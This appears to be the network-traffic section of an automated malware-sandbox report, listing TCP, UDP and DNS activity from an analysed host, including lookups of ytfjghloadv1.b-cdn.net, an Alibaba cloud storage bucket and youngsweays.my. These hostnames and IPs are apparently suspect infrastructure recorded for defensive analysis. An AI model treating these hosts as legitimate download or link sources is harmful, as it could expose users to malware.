Dec 10, 2024 12:49:03.399072886 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.399082899 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.399121046 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.514652014 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.551091909 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.551110029 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.551188946 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.551203012 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.551245928 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.556483984 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.556497097 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.556570053 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.556576014 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.556617975 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.562261105 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.562275887 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.562350035 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.562355042 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.562392950 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.568279982 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.568296909 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.568363905 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.568367958 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.568408012 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.573882103 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.573896885 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.573949099 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.573952913 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.573990107 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.579924107 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.579938889 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.579992056 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.579996109 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.580035925 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.585196972 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.585211992 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.585267067 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.585275888 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.585318089 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.591078043 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.591095924 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.591140032 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.591145992 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.591169119 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.591173887 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.711179972 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.743331909 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.743349075 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.743422985 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.743431091 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.743472099 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.749030113 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.749044895 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.749102116 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.749108076 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.749152899 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.754628897 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.754642963 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.754693031 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.754697084 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.754738092 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.760481119 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.760504007 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.760567904 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.760571957 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.760617971 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.766124010 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.766138077 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.766191006 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.766196012 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.766233921 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.772315025 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.772329092 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.772375107 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.772383928 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.772424936 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.777359009 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.777373075 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.777421951 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.777426004 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.777475119 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.783457994 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.783473015 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.783520937 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.783525944 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.783562899 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.903633118 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.931678057 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.931757927 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.931915998 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.931955099 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.931967020 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.932012081 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:04.105124950 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:04.207678080 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:14.836894989 CET	49734	443	192.168.2.17	216.58.208.228
Dec 10, 2024 12:49:14.836946964 CET	443	49734	216.58.208.228	192.168.2.17
Dec 10, 2024 12:49:14.837008953 CET	49734	443	192.168.2.17	216.58.208.228
Dec 10, 2024 12:49:14.837256908 CET	49734	443	192.168.2.17	216.58.208.228
Dec 10, 2024 12:49:14.837270975 CET	443	49734	216.58.208.228	192.168.2.17
Dec 10, 2024 12:49:16.526742935 CET	443	49734	216.58.208.228	192.168.2.17
Dec 10, 2024 12:49:16.527075052 CET	49734	443	192.168.2.17	216.58.208.228
Dec 10, 2024 12:49:16.527101040 CET	443	49734	216.58.208.228	192.168.2.17
Dec 10, 2024 12:49:16.527437925 CET	443	49734	216.58.208.228	192.168.2.17
Dec 10, 2024 12:49:16.533056974 CET	49734	443	192.168.2.17	216.58.208.228
Dec 10, 2024 12:49:16.533139944 CET	443	49734	216.58.208.228	192.168.2.17
Dec 10, 2024 12:49:16.576996088 CET	49734	443	192.168.2.17	216.58.208.228
Dec 10, 2024 12:49:19.831387997 CET	49734	443	192.168.2.17	216.58.208.228
Dec 10, 2024 12:49:19.831557989 CET	443	49734	216.58.208.228	192.168.2.17
Dec 10, 2024 12:49:19.831662893 CET	49734	443	192.168.2.17	216.58.208.228
Dec 10, 2024 12:49:34.882252932 CET	49738	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:34.882306099 CET	443	49738	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:34.882406950 CET	49738	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:34.893367052 CET	49738	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:34.893385887 CET	443	49738	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:36.111481905 CET	443	49738	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:36.111572027 CET	49738	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:36.113368988 CET	49738	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:36.113379955 CET	443	49738	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:36.113636017 CET	443	49738	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:36.157744884 CET	49738	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:36.624567032 CET	49738	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:36.624567032 CET	49738	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:36.624757051 CET	443	49738	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:37.338454008 CET	443	49738	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:37.338561058 CET	443	49738	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:37.338624001 CET	49738	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:37.340532064 CET	49738	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:37.340547085 CET	443	49738	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:37.340565920 CET	49738	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:37.340570927 CET	443	49738	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:38.193145990 CET	49739	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:38.193188906 CET	443	49739	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:38.193291903 CET	49739	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:38.193620920 CET	49739	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:38.193634033 CET	443	49739	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:39.408546925 CET	443	49739	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:39.408658981 CET	49739	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:39.409874916 CET	49739	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:39.409884930 CET	443	49739	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:39.410115004 CET	443	49739	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:39.411499023 CET	49739	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:39.411499023 CET	49739	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:39.411562920 CET	443	49739	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:40.161955118 CET	443	49739	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:40.162024021 CET	443	49739	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:40.162054062 CET	443	49739	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:40.162079096 CET	49739	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:40.162095070 CET	443	49739	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:40.162137032 CET	49739	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:40.162142992 CET	443	49739	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:40.169888020 CET	443	49739	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:40.169917107 CET	443	49739	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:40.169949055 CET	49739	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:40.169956923 CET	443	49739	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:40.170007944 CET	49739	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:40.178251982 CET	443	49739	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:40.186635017 CET	443	49739	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:40.186702967 CET	49739	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:40.186711073 CET	443	49739	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:40.231750011 CET	49739	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:40.353455067 CET	443	49739	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:40.357528925 CET	443	49739	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:40.357584000 CET	49739	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:40.357598066 CET	443	49739	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:40.357718945 CET	443	49739	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:40.357769012 CET	49739	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:40.357866049 CET	49739	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:40.357880116 CET	443	49739	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:40.357897043 CET	49739	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:40.357903004 CET	443	49739	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:42.199268103 CET	49742	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:42.199301004 CET	443	49742	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:42.199412107 CET	49742	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:42.199717045 CET	49742	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:42.199734926 CET	443	49742	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:43.412081003 CET	443	49742	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:43.412168980 CET	49742	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:43.413399935 CET	49742	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:43.413408995 CET	443	49742	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:43.413652897 CET	443	49742	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:43.414962053 CET	49742	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:43.415168047 CET	49742	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:43.415201902 CET	443	49742	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:44.216773033 CET	443	49742	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:44.216892958 CET	443	49742	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:44.216954947 CET	49742	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:44.217485905 CET	49742	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:44.217504025 CET	443	49742	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:46.677262068 CET	49743	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:46.677318096 CET	443	49743	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:46.677424908 CET	49743	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:46.677778006 CET	49743	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:46.677788973 CET	443	49743	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:47.897808075 CET	443	49743	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:47.898022890 CET	49743	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:47.899389982 CET	49743	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:47.899400949 CET	443	49743	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:47.899642944 CET	443	49743	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:47.900976896 CET	49743	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:47.901144981 CET	49743	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:47.901165009 CET	443	49743	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:47.901222944 CET	49743	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:47.947340965 CET	443	49743	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:49.034396887 CET	443	49743	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:49.034511089 CET	443	49743	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:49.034573078 CET	49743	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:49.034673929 CET	49743	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:49.034698009 CET	443	49743	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:50.525289059 CET	49744	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:50.525336981 CET	443	49744	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:50.525434017 CET	49744	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:50.525721073 CET	49744	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:50.525733948 CET	443	49744	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:51.747473955 CET	443	49744	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:51.747565031 CET	49744	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:51.748805046 CET	49744	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:51.748811007 CET	443	49744	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:51.749176025 CET	443	49744	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:51.750370026 CET	49744	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:51.750540972 CET	49744	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:51.750588894 CET	443	49744	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:51.750652075 CET	49744	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:51.750659943 CET	443	49744	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:52.492805004 CET	443	49744	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:52.492919922 CET	443	49744	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:52.492985010 CET	49744	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:52.493076086 CET	49744	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:52.493094921 CET	443	49744	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:54.139811039 CET	49745	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:54.139856100 CET	443	49745	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:54.139995098 CET	49745	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:54.140285969 CET	49745	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:54.140297890 CET	443	49745	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:55.347992897 CET	443	49745	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:55.348117113 CET	49745	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:55.349417925 CET	49745	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:55.349430084 CET	443	49745	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:55.349725008 CET	443	49745	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:55.351053953 CET	49745	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:55.351188898 CET	49745	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:55.351195097 CET	443	49745	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:56.367516041 CET	443	49745	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:56.367615938 CET	443	49745	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:56.367671967 CET	49745	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:56.367774010 CET	49745	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:56.367788076 CET	443	49745	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:58.146702051 CET	49746	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:58.146754980 CET	443	49746	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:58.146868944 CET	49746	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:58.147173882 CET	49746	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:58.147187948 CET	443	49746	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:59.356327057 CET	443	49746	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:59.356436968 CET	49746	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:59.357800007 CET	49746	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:59.357808113 CET	443	49746	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:59.358052969 CET	443	49746	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:59.359344006 CET	49746	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:59.359612942 CET	49746	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:59.359638929 CET	443	49746	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:59.359730005 CET	49746	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:59.359756947 CET	443	49746	104.21.80.1	192.168.2.17
Dec 10, 2024 12:49:59.359853029 CET	49746	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:49:59.359872103 CET	443	49746	104.21.80.1	192.168.2.17
Dec 10, 2024 12:50:00.523442030 CET	443	49746	104.21.80.1	192.168.2.17
Dec 10, 2024 12:50:00.523541927 CET	443	49746	104.21.80.1	192.168.2.17
Dec 10, 2024 12:50:00.523608923 CET	49746	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:50:00.523741007 CET	49746	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:50:00.523757935 CET	443	49746	104.21.80.1	192.168.2.17
Dec 10, 2024 12:50:00.632003069 CET	49747	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:50:00.632061005 CET	443	49747	104.21.80.1	192.168.2.17
Dec 10, 2024 12:50:00.632158041 CET	49747	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:50:00.632426023 CET	49747	443	192.168.2.17	104.21.80.1
Dec 10, 2024 12:50:00.632441998 CET	443	49747	104.21.80.1	192.168.2.17
Dec 10, 2024 12:50:01.767983913 CET	49747	443	192.168.2.17	104.21.80.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 10, 2024 12:48:10.101197004 CET	53	59288	1.1.1.1	192.168.2.17
Dec 10, 2024 12:48:10.170984030 CET	53	56907	1.1.1.1	192.168.2.17
Dec 10, 2024 12:48:10.899645090 CET	62283	53	192.168.2.17	1.1.1.1
Dec 10, 2024 12:48:10.899955988 CET	60761	53	192.168.2.17	1.1.1.1
Dec 10, 2024 12:48:11.151916027 CET	53	60761	1.1.1.1	192.168.2.17
Dec 10, 2024 12:48:11.265023947 CET	53	62283	1.1.1.1	192.168.2.17
Dec 10, 2024 12:48:12.864852905 CET	53	65187	1.1.1.1	192.168.2.17
Dec 10, 2024 12:48:13.476876020 CET	60118	53	192.168.2.17	1.1.1.1
Dec 10, 2024 12:48:13.477025032 CET	62888	53	192.168.2.17	1.1.1.1
Dec 10, 2024 12:48:13.619983912 CET	53	60118	1.1.1.1	192.168.2.17
Dec 10, 2024 12:48:13.620310068 CET	53	62888	1.1.1.1	192.168.2.17
Dec 10, 2024 12:48:13.621822119 CET	53	57865	1.1.1.1	192.168.2.17
Dec 10, 2024 12:48:14.772367954 CET	49713	53	192.168.2.17	1.1.1.1
Dec 10, 2024 12:48:14.772511959 CET	51246	53	192.168.2.17	1.1.1.1
Dec 10, 2024 12:48:14.912662983 CET	53	49713	1.1.1.1	192.168.2.17
Dec 10, 2024 12:48:14.913475037 CET	53	51246	1.1.1.1	192.168.2.17
Dec 10, 2024 12:48:16.149292946 CET	53	54892	1.1.1.1	192.168.2.17
Dec 10, 2024 12:48:29.808088064 CET	53	63730	1.1.1.1	192.168.2.17
Dec 10, 2024 12:48:31.845480919 CET	53304	53	192.168.2.17	1.1.1.1
Dec 10, 2024 12:48:32.797676086 CET	53	53304	1.1.1.1	192.168.2.17
Dec 10, 2024 12:48:48.573200941 CET	53	65487	1.1.1.1	192.168.2.17
Dec 10, 2024 12:49:03.501075983 CET	53848	53	192.168.2.17	1.1.1.1
Dec 10, 2024 12:49:03.811615944 CET	53	53848	1.1.1.1	192.168.2.17
Dec 10, 2024 12:49:10.109338045 CET	53	65102	1.1.1.1	192.168.2.17
Dec 10, 2024 12:49:11.095520020 CET	53	55679	1.1.1.1	192.168.2.17
Dec 10, 2024 12:49:29.752269983 CET	138	138	192.168.2.17	192.168.2.255
Dec 10, 2024 12:49:33.903235912 CET	50913	53	192.168.2.17	1.1.1.1
Dec 10, 2024 12:49:34.786202908 CET	53	50913	1.1.1.1	192.168.2.17
Dec 10, 2024 12:49:41.133029938 CET	53	61553	1.1.1.1	192.168.2.17

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 10, 2024 12:48:10.899645090 CET	192.168.2.17	1.1.1.1	0x1cf3	Standard query (0)	ytfjghloadv1.b-cdn.net	A (IP address)	IN (0x0001)	false
Dec 10, 2024 12:48:10.899955988 CET	192.168.2.17	1.1.1.1	0x42dd	Standard query (0)	ytfjghloadv1.b-cdn.net	65	IN (0x0001)	false
Dec 10, 2024 12:48:13.476876020 CET	192.168.2.17	1.1.1.1	0x8f7e	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 12:48:13.477025032 CET	192.168.2.17	1.1.1.1	0xd5ac	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Dec 10, 2024 12:48:14.772367954 CET	192.168.2.17	1.1.1.1	0x1cbf	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 12:48:14.772511959 CET	192.168.2.17	1.1.1.1	0xf869	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 10, 2024 12:48:31.845480919 CET	192.168.2.17	1.1.1.1	0x867f	Standard query (0)	asgbucket.oss-ap-southeast-3.aliyuncs.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 12:49:03.501075983 CET	192.168.2.17	1.1.1.1	0x171d	Standard query (0)	asgbucket.oss-ap-southeast-3.aliyuncs.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 12:49:33.903235912 CET	192.168.2.17	1.1.1.1	0x9143	Standard query (0)	youngsweays.my	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 10, 2024 12:48:11.265023947 CET	1.1.1.1	192.168.2.17	0x1cf3	No error (0)	ytfjghloadv1.b-cdn.net	89.35.237.170	A (IP address)	IN (0x0001)	false
Dec 10, 2024 12:48:13.619983912 CET	1.1.1.1	192.168.2.17	0x8f7e	No error (0)	cdnjs.cloudflare.com	104.17.24.14	A (IP address)	IN (0x0001)	false
Dec 10, 2024 12:48:13.619983912 CET	1.1.1.1	192.168.2.17	0x8f7e	No error (0)	cdnjs.cloudflare.com	104.17.25.14	A (IP address)	IN (0x0001)	false
Dec 10, 2024 12:48:13.620310068 CET	1.1.1.1	192.168.2.17	0xd5ac	No error (0)	cdnjs.cloudflare.com		65	IN (0x0001)	false
Dec 10, 2024 12:48:14.912662983 CET	1.1.1.1	192.168.2.17	0x1cbf	No error (0)	www.google.com	216.58.208.228	A (IP address)	IN (0x0001)	false
Dec 10, 2024 12:48:14.913475037 CET	1.1.1.1	192.168.2.17	0xf869	No error (0)	www.google.com		65	IN (0x0001)	false
Dec 10, 2024 12:48:32.797676086 CET	1.1.1.1	192.168.2.17	0x867f	No error (0)	asgbucket.oss-ap-southeast-3.aliyuncs.com	47.254.218.16	A (IP address)	IN (0x0001)	false
